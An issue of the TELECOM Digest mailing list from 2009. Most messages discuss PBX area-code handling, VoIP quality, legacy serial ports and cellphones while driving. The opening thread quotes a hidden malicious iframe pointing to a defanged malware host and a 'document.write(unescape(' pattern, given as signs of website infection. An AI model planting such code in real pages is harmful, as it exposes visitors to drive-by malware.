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Message Digest Volume 28 : Issue 178 : "text" Format
Messages in this Issue:
OT: IFRAME exploit was: Re: Goodbye to copper?
Re: OT: IFRAME exploit was: Re: Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Goodbye to copper?
Re: Goodbye to copper?
Re: Goodbye to copper?
Re: Goodbye to copper?
Re: Goodbye to copper?
Re: Goodbye to copper?
Re: Cellphones and driving
Re: Cellphones and driving
Re: Cellphones and driving
Re: Cellphones and driving
Re: Cellphones and driving
Re: VoIP devices, was: Re: Should legacy technologies be allowed to remain forever?
Re: Number length, was Goodbye to copper?
Re: Number length, was Goodbye to copper?
Re: Goodbye to copper?
Notes On Nationwide Dialing (Was: Re: Goodbye to copper?)
====== 27 years of TELECOM Digest -- Founded August 21, 1981 ======
Telecom and VOIP (Voice over Internet Protocol) Digest for the
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we do not want the kind of world that results when no one stands
against crime. Geoffrey Welsh
===========================
See the bottom of this issue for subscription and archive details
and the name of our lawyer, and other stuff of interest.
----------------------------------------------------------------------
Date: Mon, 29 Jun 2009 20:18:25 -0700
From: Thad Floryan <thad@thadlabs.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: OT: IFRAME exploit was: Re: Goodbye to copper?
Message-ID: <4A498401.2040008@thadlabs.com>
On 6/29/2009 7:03 PM, hancock4@bbs.cpcn.com wrote:
> [...]
> Someone was fired and arrested for having illegal laptop content, and
> it turned out the content was placed there by malware that slipped
> through anti-virus software. These things seem to happen often, yet
> it seems extremely rare that the perpetrators of such sabotage are
> punished or barriers placed to block overseas submissions.
>
> I suspect almost all readers of this newsgroup are savy enough to keep
> their protection software up-to-date and wouldn't be victimized like
> that. But sometimes techies forget that lay people out there don't
> think about those things, especially under the hood stuff like caches,
> and can get burned.
> [...]
Sometimes the "protection" is a misnomer, and I'm referring to anti-virus
programs by the majors. Some of the criminals have developed extremely
clever methods of getting malware onto systems from infected websites that
require no action or clicking on the part of the innocent user.
1000s of websites are being infected since early April 2009 by the
Russian Business Network (RBN, a hacker group) who pays commissions
to infect web sites (mostly with the IFRAME exploit which uses long-
standing bugs with Adobe Reader (even the latest version) and Adobe
Flash). I've fixed several peoples' websites in just the past 4 weeks,
and it's not clear how the websites became infected (one web site is
running FreeBSD/Apache).
If you see or find something like the following in any of your *.htm*
or *.php files (with a space between "." and "cn" for safety):
"... iframe src="http://hotslotpot. cn/in.cgi?income64"
width=1 height=1 style="visibility: hidden"></iframe ..."
or
"document.write(unescape("
then your site is infected. Though it looks like China is the source,
the RBN manipulates DNS and the sites move around (China, Latvia, and
as of two weeks ago St. Petersburg (Russia)). The exploit itself changes
several times a day which is problematic for antivirus programs -- none of
the major AV programs find it.
Basically, the above IFRAME silently downloads either a PDF or a SWF
file (after interrogating the browser's plugins) and performs a buffer
overflow exploit akin to the Morris Internet Worm of 1988. The exploit
uses Adobe Reader (all versions since at least 6.* up to the latest version)
and executes malware on the user's client system.
The NoScript plugin for Firefox will stop the IFRAME; to install the NoScript
plugin in Firefox:
Tools -> Add-Ons
In the window that pops up, click on "Get Extensions" (LR corner).
In the [Search for add-ons] box, enter NoScript.
Be sure to read the docs since your web browsing experience will be changed.
I'm not aware of similar plugins for other browsers, but disabling scripting
will help.
No system is truly safe from attacks like the above exploit; it affects
Linux, too, per this "no known workaround" report also from April 2009 for
Gentoo:
http://seclists.org/bugtraq/2009/Apr/0190.html
------------------------------
Date: Tue, 30 Jun 2009 21:55:50 -0400
From: tlvp <mPiOsUcB.EtLlLvEp@att.net>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: OT: IFRAME exploit was: Re: Goodbye to copper?
Message-ID: <op.uwc8zcy5o63xbg@acer250.gateway.2wire.net>
On Tue, 30 Jun 2009 07:41:47 -0400, Thad Floryan <thad@thadlabs.com> wrote:
> On 6/29/2009 7:03 PM, hancock4@bbs.cpcn.com wrote:
>> [...]
>> Someone was fired and arrested for having illegal laptop content, and
>> it turned out the content was placed there by malware that slipped
>> through anti-virus software. These things seem to happen often, yet
>> it seems extremely rare that the perpetrators of such sabotage are
>> punished or barriers placed to block overseas submissions.
>>
>> I suspect almost all readers of this newsgroup are savy enough to keep
>> their protection software up-to-date and wouldn't be victimized like
>> that. But sometimes techies forget that lay people out there don't
>> think about those things, especially under the hood stuff like caches,
>> and can get burned.
>> [...]
>
> Sometimes the "protection" is a misnomer, and I'm referring to anti-virus
> programs by the majors. Some of the criminals have developed extremely
> clever methods of getting malware onto systems from infected websites that
> require no action or clicking on the part of the innocent user.
>
> 1000s of websites are being infected since early April 2009 by the
> Russian Business Network (RBN, a hacker group) who pays commissions
> to infect web sites (mostly with the IFRAME exploit which uses long-
> standing bugs with Adobe Reader (even the latest version) and Adobe
> Flash). I've fixed several peoples' websites in just the past 4 weeks,
> and it's not clear how the websites became infected (one web site is
> running FreeBSD/Apache).
One of the few nice things I can find to say about IE is that, amongst its
Internet Options, there's one to disallow IFRAMEs from being accepted. :-)
> If you see or find something like the following in any of your *.htm*
> or *.php files (with a space between "." and "cn" for safety):
>
> "... iframe src="http://hotslotpot. cn/in.cgi?income64"
> width=1 height=1 style="visibility: hidden"></iframe ..."
> or
> "document.write(unescape("
>
> then your site is infected. Though it looks like China is the source,
> the RBN manipulates DNS and the sites move around (China, Latvia, and
> as of two weeks ago St. Petersburg (Russia)). The exploit itself changes
> several times a day which is problematic for antivirus programs -- none of
> the major AV programs find it.
>
> Basically, the above IFRAME silently downloads either a PDF or a SWF
> file (after interrogating the browser's plugins) and performs a buffer
> overflow exploit akin to the Morris Internet Worm of 1988. The exploit
> uses Adobe Reader (all versions since at least 6.* up to the latest version)
> and executes malware on the user's client system.
Same mechanism as the ancient Romeo and Juliet virus: use IFRAMEs first to
download and then to run the Romeo and the Juliet executables. I saw these
first-hand, back in my pre-computer days, when I was doing email via mcimail
and/or attmail, using nothing more elegant than a modem and a dumb terminal.
Had a beautiful opportunity to see the actual HTML, with its multiple IFRAME
invocations, in an utterly safe ASCII-only terminal environment. Taught me
*never* to trust IFRAMEs, ever :-) .
> The NoScript plugin for Firefox will stop the IFRAME; to install the NoScript
> plugin in Firefox:
>
> Tools -> Add-Ons
> In the window that pops up, click on "Get Extensions" (LR corner).
> In the [Search for add-ons] box, enter NoScript.
>
> Be sure to read the docs since your web browsing experience will be changed.
> I'm not aware of similar plugins for other browsers, but disabling scripting
> will help.
>
> No system is truly safe from attacks like the above exploit; it affects
> Linux, too, per this "no known workaround" report also from April 2009 for
> Gentoo:
>
> http://seclists.org/bugtraq/2009/Apr/0190.html
One just needs a "no IFRAMES, please" option in one's browser.
Which browsers, apart from IE, offer such an option?
TIA, and cheers, -- tlvp
--
Avant de repondre, jeter la poubelle, SVP
------------------------------
Date: Mon, 29 Jun 2009 19:41:34 -0700 (PDT)
From: hancock4@bbs.cpcn.com
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <b9e043d5-56f3-4db9-b3c7-a1668e140e0b@h11g2000yqb.googlegroups.com>
On Jun 29, 9:54 pm, Sam Spade <s...@coldmail.com> wrote:
> > But computers are so fast these days . . .
> What about the processing power of a DMS-100 installed in circa 1984?
> There are a whole lot of those.
The example was discussing COBOL programs and transtioning to more
modern techniques. The programming of an ESS is a different ballgame.
As to training ESS programmers, I still do not think it's necessary to
go into great detail about No. 5 crossbar junctors, markers, senders,
etc. An summary overview would be sufficient. We don't teach
programmers today how to work a keypunch machine.
------------------------------
Date: Mon, 29 Jun 2009 23:01:45 -0400
From: "Bob Goudreau" <BobGoudreau@nc.rr.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <11DDB032DE454F568DE661AD98AB88D2@estore.us.dg.com>
Scott Dorsey (kludge@panix.com) wrote:
> Steven Lichter <diespammers@ikillspammers.com> wrote:
>
> >Remember 1999, every switch needed a software update, it went with
> >very little trouble.
>
> My employer at the time had a Rolm PBX and had a nightmare getting the
> update done properly. For over a year, folks at one office were having
> to call the operator to place calls to the new area codes.
Scott, I think you are conflating two different things. Steven appears to
be referring to Y2K problems, which would have needed to be patched by the
end of 1999. It sounds like you are thinking of the upgrades needed to
handle NNX area codes, which first made their appearance all the way back
in 1995. By the time the start of 1999 rolled around, over one hundred of
those new-style area codes had debuted, so I hope your PBX was able to
dial them well before that point!
Bob Goudreau
Cary, NC
------------------------------
Date: 30 Jun 2009 09:38:28 -0400
From: kludge@panix.com (Scott Dorsey)
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <h2d4gk$on8$1@panix2.panix.com>
In article <11DDB032DE454F568DE661AD98AB88D2@estore.us.dg.com>,
Bob Goudreau <BobGoudreau@nc.rr.com> wrote:
>Scott Dorsey (kludge@panix.com) wrote:
>> Steven Lichter <diespammers@ikillspammers.com> wrote:
>>
>> >Remember 1999, every switch needed a software update, it went with
>> >very little trouble.
>>
>> My employer at the time had a Rolm PBX and had a nightmare getting the
>> update done properly. For over a year, folks at one office were having
>> to call the operator to place calls to the new area codes.
>
>Scott, I think you are conflating two different things. Steven appears to
>be referring to Y2K problems, which would have needed to be patched by the
>end of 1999. It sounds like you are thinking of the upgrades needed to
>handle NNX area codes, which first made their appearance all the way back
>in 1995. By the time the start of 1999 rolled around, over one hundred of
>those new-style area codes had debuted, so I hope your PBX was able to
>dial them well before that point!
It wasn't until late 1996 before they actually got the PBX set up to
dial the new area codes, I believe.
The Y2K stuff was pretty trivial in comparison.
--scott
--
"C'est un Nagra. C'est suisse, et tres, tres precis."
------------------------------
Date: Mon, 29 Jun 2009 19:51:10 -0700 (PDT)
From: hancock4@bbs.cpcn.com
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <4ed051cb-c172-40a1-9849-a0355c3ebc2f@x5g2000yqk.googlegroups.com>
On Jun 29, 9:57 pm, klu...@panix.com (Scott Dorsey) wrote:
> We got new area codes, and the new area codes didn't have a 0 or a 1
> in the middle digits. This is what finally convinced GTE to get us
> off of a mechanical switch and onto something modern that actually
> works.
I believe the entire U.S. was ESS by the late 1980s. Are you saying
GTE had an electro-mechanical central office in 1999?
> BUT, in the cases of PBXes, many of them depended on that 0 or 1 to
> identify an area code and the actual algorithm for splitting the number
> apart had to be changed.
Sounds like very sloppy PBX programming. If the machine was leased,
it was up to the vendor. But if the machine was wholly owned, it was
up to the customer to contract for an upgrade. Ownership has its
downsides.
It is curious though, because in 1976 the Bell System published in
print that area codes would no longer be 0/1 and that exchanges could
be 0/1 in order to accomodate the growth in phone numbers. So, any
PBX designed after that should've been able to accomodate.
In the old days a PBX merely transmitted whatever was dialed through
to the trunk. Newer PBXs may have tracked numbers for routing
purposes over the most cost-effective trunk. But if they did that,
then obviously they had to be table driven, and then obviously needed
some way to update the table to reflect new exchanges. Adding
exchanges and area codes is certainly nothing new.
Indeed, one could ask why the heck didn't a PBX have a _good_ method
for keeping its internal tables properly and timely updated?
------------------------------
Date: Mon, 29 Jun 2009 20:12:40 -0700
From: Steven Lichter <diespammers@ikillspammers.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <h2c00p$c6k$1@news.eternal-september.org>
Scott Dorsey wrote:
> <hancock4@bbs.cpcn.com> wrote:
>> On Jun 28, 12:56 pm, klu...@panix.com (Scott Dorsey) wrote:
>>
>>>> Remember 1999, every switch needed a software update, it went with
>>>> very little trouble.
>>> My employer at the time had a Rolm PBX and had a nightmare getting the
>>> update done properly. For over a year, folks at one office were having
>>> to call the operator to place calls to the new area codes.
>> Are you talking about Y2k changes or the explosion in new area codes
>> and exchanges that occured at that time?
> We got new area codes, and the new area codes didn't have a 0 or a 1
> in the middle digits. This is what finally convinced GTE to get us
> off of a mechanical switch and onto something modern that actually
> works.
By the time these non 1/0 area codes were in use GTE had either gotten
away from mechanical switches or already had its toll centers electronic.
--
The Only Good Spammer is a Dead one!! Have you hunted one down today?
(c) 2009 I Kill Spammers, Inc. A Rot In Hell Co.
------------------------------
Date: Mon, 29 Jun 2009 19:59:09 -0700 (PDT)
From: hancock4@bbs.cpcn.com
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <b142bfe7-6ef3-4c77-832f-76000241f0bc@y34g2000yqd.googlegroups.com>
On Jun 29, 10:09 pm, Wesr...@aol.com wrote:
> Why should PBX's have tables or any information about what area codes
> exist? As a general rule, I mean, unless they have their own private
> systems and private lines that they want certain area codes routed
> over?
Automated routing over the most cost effective trunk lines. Should a
call go out over a regular line, an instate WATS line, outstate WATS
line, FX line, tie-line, etc.? If the primary choice isn't available,
what is the best second choice?
I suspect these choices were more significant in 1999 than they are
now.
------------------------------
Date: Mon, 29 Jun 2009 20:52:30 -0700
From: Thad Floryan <thad@thadlabs.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <4A498BFE.5050609@thadlabs.com>
On 6/29/2009 7:09 PM, Wesrock@aol.com wrote:
> In a message dated 6/29/2009 11:07:32 AM Central Daylight Time,
> hancock4@bbs.cpcn.com writes:
>
>> Many private PBX vendors were unprepared, in a variety of ways, to
>> properly track rapid new code assignments and get their PBX tables
>> properly updated.
>
> Why should PBX's have tables or any information about what area codes
> exist? As a general rule, I mean, unless they have their own private
> systems and private lines that they want certain area codes routed
> over?
I can provide one reason: anal-retentive management at some companies. :-)
Real example at one client company in the San Francisco Bay Area: they'd
permit "local" calls from any phone to communities where employees lived,
restrict long distance dialing to those with passwords in the LD file, and
restrict international dialing to those with passwords in the INTL file.
Thus, I had to setup those (asterisk) files so "local" calls would be those
in the 415, 650, 408, 707, 831, 510, and 975 area codes, and all other calls
would be denied without a password being entered. Many of those weren't "local"
in the billing sense because some people would commute 100 miles a day.
Ah, just remembered, 800, 877, 866, etc. were permitted, too, without a
password, as was 911. :-)
------------------------------
Date: Tue, 30 Jun 2009 17:18:23 +1000
From: David Clayton <dcstar@myrealbox.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <pan.2009.06.30.07.18.22.227977@myrealbox.com>
On Mon, 29 Jun 2009 22:09:25 -0400, Wesrock wrote:
> In a message dated 6/29/2009 11:07:32 AM Central Daylight Time,
> hancock4@bbs.cpcn.com writes:
>
>> Many private PBX vendors were unprepared, in a variety of ways, to
>> properly track rapid new code assignments and get their PBX tables
>> properly updated.
>
> Why should PBX's have tables or any information about what area codes
> exist? As a general rule, I mean, unless they have their own private
> systems and private lines that they want certain area codes routed over?
>
PBX's must have these for any dial restrictions they assign to the various
groups of extensions that they have.
Basically they need to know what is Local, Long Distance, International
etc.
--
Regards, David.
David Clayton
Melbourne, Victoria, Australia.
Knowledge is a measure of how many answers you have, intelligence is a
measure of how many questions you have.
------------------------------
Date: Tue, 30 Jun 2009 02:46:16 +0000 (UTC)
From: wollman@bimajority.org (Garrett Wollman)
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Goodbye to copper?
Message-ID: <h2bu9o$2bpl$1@grapevine.csail.mit.edu>
In article <d2b9f143-4c8c-48c2-8a57-fd79a7fe622a@l34g2000vbi.googlegroups.com>,
<hancock4@bbs.cpcn.com> wrote:
>To me, it is inexcusable that VOIP was initially rolled out with
>terrible transmission quality or incompatibility with 911 databases.
VoIP was initially rolled out with the exact same transmission quality
-- 8-kHz mu-law (or A-law in Europe) -- as traditional telephony.
This happened well before VoIP systems were ever connected to the PSTN
and 911/112 access was even possible. VoIP as an idea is more than
fifteen years old, and the current technology is more than ten years
old.
-GAWollman
--
Garrett A. Wollman | The real tragedy of human existence is not that we are
wollman@csail.mit.edu| nasty by nature, but that a cruel structural asymmetry
Opinions not those | grants to rare events of meanness such power to shape
of MIT or CSAIL. | our history. - S.J. Gould, Ten Thousand Acts of Kindness
------------------------------
Date: Tue, 30 Jun 2009 09:35:12 -0700
From: Thad Floryan <thad@thadlabs.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Goodbye to copper?
Message-ID: <4A4A3EC0.4010201@thadlabs.com>
On 6/30/2009 4:53 AM, Garrett Wollman wrote:
> In article <d2b9f143-4c8c-48c2-8a57-fd79a7fe622a@l34g2000vbi.googlegroups.com>,
> <hancock4@bbs.cpcn.com> wrote:
>> To me, it is inexcusable that VOIP was initially rolled out with
>> terrible transmission quality or incompatibility with 911 databases.
>
> VoIP was initially rolled out with the exact same transmission quality
> -- 8-kHz mu-law (or A-law in Europe) -- as traditional telephony.
> This happened well before VoIP systems were ever connected to the PSTN
> and 911/112 access was even possible. VoIP as an idea is more than
> fifteen years old, and the current technology is more than ten years
> old.
When competently setup and operated, today's VoIP provides excellent
audio quality.
Several of my VoIP clients running asterisk on their LANs have/had a PRI
to the CO and voice quality is/was exemplary with never any glitches.
One IT client whose infrastructure I literally built from the ground up
began with Centrex on my recommendation (10 people at the start), later
upgraded to a really great PBX with the best voice mail I've ever had the
pleasure to use, then was "forced" by the 10th CEO (in 6 years) to "upgrade"
to a VoIP service in which he had a vested interest (and it was located
halfway across the USA), at which time telephony services hit rock bottom at
that client due to frequent outages misconfigurations at the VoIP provider
to the day that client went belly-up 6 months later. The client couldn't get
out of the PBX maintenance contract (3 years' duration as I was originally
instructed to order) and ended up with monthly payments to both the PBX and
VoIP companies in addition to having to literally abandon the $50,000 or so of
equipment (the PBX itself and both the wired and wireless phones (wireless
for the customer support people)). That VoIP was a horrible mess, and I recall
overhearing the Board Chairman firing that (next-to-last) CEO. Sigh, they
had an excellent PBX and there was no reason at that time to go VoIP especially
since the company had already begun downsizing/outsourcing.
------------------------------
Date: Tue, 30 Jun 2009 00:02:53 -0700
From: Bruce L.Bergman <bruceNOSPAMbergman@gmail.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Goodbye to copper?
Message-ID: <c1dj459jpdu19ifcd6bcb9p03lf8fn43sr@4ax.com>
On Mon, 29 Jun 2009 13:03:32 -0400 (EDT), hancock4@bbs.cpcn.com wrote:
>On Jun 28, 5:42 pm, Sam Spade <s...@coldmail.com> wrote:
>> hanco...@bbs.cpcn.com wrote:
>> > Advanced equipment, such as key systems, modems, PBXs, etc., will
>> > require customer power.
>>
>> As to key systems, true once they got fancy. But, the good old
>> 25-pair 1A2 systems only lost lights and hold when the customer power
>> was lost. You could punch a line button and still get dial tone.
>
>I was in an office that had a power failure. We could call out
>(admittedly an important feature), but that was it.
>
>Ringing of incoming calls could be messed up. Many key systems
>intercepted the incoming ringing signal and relayed its own ringing
>signal only to specified sets. Many keysets had an appearance of a
>particular line for convenience but did not ring for that line. I'm
>pretty sure ringing was independent of whether the line button was
>depressed or even if the phone was off-hook.
>
>Power supplies for key systems included DC and ringing AC.
The local power problem is easily solved with power failure relays.
When the relay drops out, the Local Ringer multiple is broken and Line
1 rings Station 1, line 2 rings station 2, etc. Just make sure the
ringer capacitor is still connected in series at the network.
Admittedly it can't be done with hundreds of incoming lines, but you
can pick selected lines and desk sets. Keeps you in business to a
degree.
Oh, and that's also why there is a Red wall set over by the back
door, with the sign "For Emergency Use Only." In the CO it was an FX
line from another switchroom in case something went seriously wrong
and hosed the switch, at a business you would select a normally
outgoing-only POTS line.
Or in our house, there is a Trimline desk set next to the answering
machine for Line 1 that rings on CO ring voltage, and a 2500 set for
Line 2, and my Cordless Phone & Answering Machine combo for Line 3.
(All with a loop detector so the A-leads are actuated, no accidental
Hold applications.)
The FAX line, who cares? There's no power, let it ring out.
--<< Bruce >>--
------------------------------
Date: Tue, 30 Jun 2009 17:14:39 +1000
From: David Clayton <dcstar@myrealbox.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Goodbye to copper?
Message-ID: <pan.2009.06.30.07.14.38.666310@myrealbox.com>
On Mon, 29 Jun 2009 22:08:08 -0400, Thad Floryan wrote: .......
> USB appears to be a preferred interface nowadays, but be aware that some
> chipsets used in USB-to-<whatever> converters are "troublesome" (to put
> it kindly).
I have had some experience with USB-Serial adaptors, and some of the
cheapies just simply don't work correctly. I have had pretty good results
with Belkin and Targus ones though (in Windows).
I recently had to source replacement PCs for a retail environment and we
required two (genuine) RS-232 ports for legacy peripheral equipment. It
was not that easy to find hardware with the capability of two native
serial ports (I didn't want to use 3rd party cards) but I eventually found
HP SFF machines that did.
I had to order the second serial port adaptor kits separately, and
apparently the quantity (16!) was so great the HP had to scour the planet
for them....
I suspect in the upcoming years it will become even more difficult to find
legacy interfaces.
--
Regards, David.
David Clayton
Melbourne, Victoria, Australia.
Knowledge is a measure of how many answers you have, intelligence is a
measure of how many questions you have.
------------------------------
Date: Tue, 30 Jun 2009 05:27:20 -0400
From: tlvp <mPiOsUcB.EtLlLvEp@att.net>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Goodbye to copper?
Message-ID: <op.uwby7ub4o63xbg@acer250.gateway.2wire.net>
On Mon, 29 Jun 2009 22:08:08 -0400, Thad Floryan <thad@thadlabs.com> wrote:
> On 6/29/2009 10:06 AM, tlvp wrote:
>> [...]
>> Further example(s): omission on newer computers of "legacy" ports (RS-232,
>> SCSI, parallel printer ports; and dual PCMCIA slots). Perfectly good serial
>> and parallel printers, serial modems, SCSI external ZIP, Syquest, and hard
>> drives, and PCMCIA devices of all sorts become "doorstops" once the ports
>> they need to connect to become unavailable on new machines.
>
> Solutions are available. I have many devices that require RS-232 for usage
> and/or firmware updating such as astronomical telescopes, postal scale/meter,
> [EP/EA]ROM burners, label printers, my weather station, etc. PCI and PCIe
> cards are available for desktops (and PCMCIA cards for laptops). One PCIe
> dual RS-232 card that works well for my newer desktops can be seen here:
>
> http://thadlabs.com/PIX/SYBA_dual_RS-232.jpg
>
> Another solution, even more general, is an Ethernet "terminal server" such as
> this small one I've had for over 10 years:
>
> http://thadlabs.com/PIX/Etherlite_EL-2.jpg
>
> Drivers for the EL-2 are for (all) Linux, Solaris, UNIX, Windows, AIX, HP-UX,
> and more. Central Data was acquired by Digi, more info here:
>
> http://www.digi.com/products/serialservers/etherlitespecs.jsp
>
> Here's something new, a Linux-based Ethernet USB hub for sharing printers,
> scanners, USB thumb drives, external USB drives, etc. on one's network:
>
> http://www.belkin.com/uk/networkusbhub/
>
> which is identical to the Silex SX-5000U2. Only works for Windows (so far) but
> we're pushing for source code per GPL which is just a matter of time per:
>
> http://www.belkin.com/support/gpl.asp
>
> SCSI, parallel and about eleventy-seven bazillion other interfaces are readily
> available for PCI and PCIe desktop expansion slots from Fry's, Newegg, MWave,
> and many others.
>
>> I'd have thought that *inclusion* of legacy ports would have become
>> the selling point -- instead, it's their *omission* that's being
>> touted as the "good thing".
>
> Dell Latitude (business) laptops still have a DB-9 serial port last time I
> checked; no other laptop manufacturer supplies RS-232 serial AFAIK.
>
> USB appears to be a preferred interface nowadays, but be aware that some
> chipsets used in USB-to-<whatever> converters are "troublesome" (to put
> it kindly).
As in the past, thanks for all these pointers; my Googling came up with
*none* of them. Though my focus is more on what adapters might be available
for notebooks/laptops than for desktop machines with accessible chassis.
Cheers, Thad, -- tlvp
--
Avant de repondre, jeter la poubelle, SVP
------------------------------
Date: Tue, 30 Jun 2009 07:59:52 -0700
From: Thad Floryan <thad@thadlabs.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Goodbye to copper?
Message-ID: <4A4A2868.6060707@thadlabs.com>
On 6/30/2009 4:58 AM, tlvp wrote:
> [...]
> As in the past, thanks for all these pointers; my Googling came up with
> *none* of them. Though my focus is more on what adapters might be available
> for notebooks/laptops than for desktop machines with accessible chassis.
You're very welcome!
As someone else just commented, legacy interfaces are dwindling. Several years
ago I saw a PCMCIA RS-232 card at Fry's (in the store) but there are none on
their website checking just now.
Newegg has two PCMCIA RS-232 cards; visit http://www.newegg.com/ and do
two searches, one for "PCMCIA RS-232" (finds a SYBA card), and also for
"PCMCIA RS232" (finds a Koutech card). That's it. I'm pleased with the
PCIe SYBA RS-232 cards and they have drivers for both Linux and Windows.
interfacing to the MOSCHIP family of parts on the card.
A Google search using either "PCMCIA RS-232" or "PCMCIA RS232" finds some, too.
Here's another thought: some docking stations for laptops do provide a D-9
RS-232 interface and, possibly, even a parallel printer interface.
For some things, RS-232 simply cannot be beat. Heh, I remember one time some
20 years ago I visited a friend at HP Labs on a Friday night and we had this
crazy idea to see how far RS-232 would operate. We wheeled in a 5000' spool
of Belden cable, attached DB-25 connectors to both ends, and operated an HP
computer terminal at 9600 baud over that spooled cable onto an HP computer. It
actually worked even though the waveform was horribly distorted as viewed on an
oscilloscope.
Try that with USB. :-)
This just reminded of yet another "legacy" RS-232 device I have for reading
program and data paper tapes I punched on a TTY ASR33 back in the 1960s using
an acoustic 110 baud modem over the PSTN:
http://thadlabs.com/PIX/paper_tape_reader.jpg
That reader operates at 110, 150, 300, 600 and 1200 baud and still functions
fine reading 40+ year-old 8-level paper tapes. I'm a pack-rat and hang on to
everything. :-)
------------------------------
Date: Mon, 29 Jun 2009 21:59:30 -0500
From: gordonb.oodop@burditt.org (Gordon Burditt)
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Cellphones and driving
Message-ID: <X_idndPyscgP4tTXnZ2dnUVZ_vidnZ2d@posted.internetamerica>
>The San Jose Mercury reports today on the order of 200,000+ tickets
>(possibly twice that number) issued in California to date for
>cellphone use while driving.
>
>Many of us would like to get a message through -- safely! -- via
>cellphone to a relative or colleague whom we know may be on the road
>at the time we call.
I thought most cell phones (at least the postpaid ones) had voice mail.
I suspect even those that don't log incoming calls with Caller-ID.
>I suppose one solution would be if future cellphones could have an "on
>the road" mode, activated by a button that drivers could punch as they
>fastened their seatbelts.
For many cell phones (with voice mail), this is the "POWER OFF"
button. Some also have the ability to set the ring mode to "Silent"
(*not* "Vibrate"). If any cell phones have a "Do Not Disturb"
(silently send all incoming calls to voice mail), that would work
also.
>Doing so would activate a mini answering-machine plus speaker-phone
>mode that would respond to an incoming call by giving an audible beep;
No, for a safe cellular answering machine, it must make *NO* noise
whatever in operation. That beep tends to cause sudden 5-lane lane
changes to the shoulder without adequate checking of the rear-view
mirror..
>allowing a **brief** (electronically time-limited) audible voice
>message from the caller
2 microseconds should be enough.
>("Sam, this is Sally, call me back when you
>have a chance") through the speaker phone: giving the caller some
>return indication that this has been done -- and then disabling
>further use of the phone in any way for, say, 5 minutes.
That can be life-threatening denial of service attack should an
incoming call show up shortly before or after an accident, whether
the incoming call caused the accident, whether it was complete
coincidence, or whether the call was intended to prevent the victim
from summoning help before the attacker murders him. And making
911 an exception doesn't change the fact that not all emergency
calls need to go to 911.
------------------------------
Date: Tue, 30 Jun 2009 08:31:36 -0700
From: Thad Floryan <thad@thadlabs.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Cellphones and driving
Message-ID: <4A4A2FD8.3090001@thadlabs.com>
On 6/30/2009 5:00 AM, Gordon Burditt wrote:
> [...]
> And making
> 911 an exception doesn't change the fact that not all emergency
> calls need to go to 911.
As a cellphone user since the early 1990s, here are two tips I've
picked up over the years:
1. program-in the landline equivalents of 911 for all the cities and
areas you expect to be in. For some locales the landline equivalent
goes to the 911 dispatch center, for others there are separate land-
line numbers for police and fire/medical. Check the front "Government"
pages of the locales' phone books for FIRE and for POLICE, For example,
my local phone book has these entries:
FIRE
Emergency . . . . . . . 911
or . . . . . 650 9xx xxxx
[...]
POLICE
Emergency . . . . . . . 911
or . . . . . 650 3xx xxxx
What I have for the locales around me are cellphone directory entries
for "COPS city" and "FIRE city" even if the numbers are the same.
That really came in handy one day circa 2000 in San Mateo CA when a
humongous piece of telephony gear fell out the back of a PacBell truck
onto El Camino Real straddling two lanes with the PacBell driver unaware
of what had happened and driving onwards. Pushing "COPS SAN MATEO" had
the police there within 2 minutes from their HQ 1/2 mile away.
FWIW, 911 calls in Silicon Valley now seem to go to the proper agency.
When I dial 911 while driving along I-280 to report road hazards or
accidents, I get the CHP. When I dial 911 from home (about 1/2 mile from
I-280) I'm instantly in touch with the local city's 911 dispatch. I
suppose that's implemented knowing which cell tower(s) is/are being used.
2. "ICE your cellphone". ICE = In Case of Emergency. Program "ICE" in the
cellphone directory with the number of a person to be contacted for any
emergencies. A friend at Stanford Medical Center informed me emergency
medical responders now look for cellphones and, if found, seek an "ICE"
entry and will dial it. "ICE 1", "ICE 2", ... would also seem useful.
------------------------------
Date: Tue, 30 Jun 2009 11:54:29 -0700
From: Sam Spade <sam@coldmail.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Cellphones and driving
Message-ID: <Fbt2m.22142$KQ4.19855@newsfe18.iad>
Gordon Burditt wrote:
>>The San Jose Mercury reports today on the order of 200,000+ tickets
>>(possibly twice that number) issued in California to date for
>>cellphone use while driving.
>>
>>Many of us would like to get a message through -- safely! -- via
>>cellphone to a relative or colleague whom we know may be on the road
>>at the time we call.
>
>
> I thought most cell phones (at least the postpaid ones) had voice mail.
> I suspect even those that don't log incoming calls with Caller-ID.
>
>
>>I suppose one solution would be if future cellphones could have an "on
>>the road" mode, activated by a button that drivers could punch as they
>>fastened their seatbelts.
>
>
> For many cell phones (with voice mail), this is the "POWER OFF"
> button. Some also have the ability to set the ring mode to "Silent"
> (*not* "Vibrate"). If any cell phones have a "Do Not Disturb"
> (silently send all incoming calls to voice mail), that would work
> also.
>
>
>>Doing so would activate a mini answering-machine plus speaker-phone
>>mode that would respond to an incoming call by giving an audible beep;
>
>
> No, for a safe cellular answering machine, it must make *NO* noise
> whatever in operation. That beep tends to cause sudden 5-lane lane
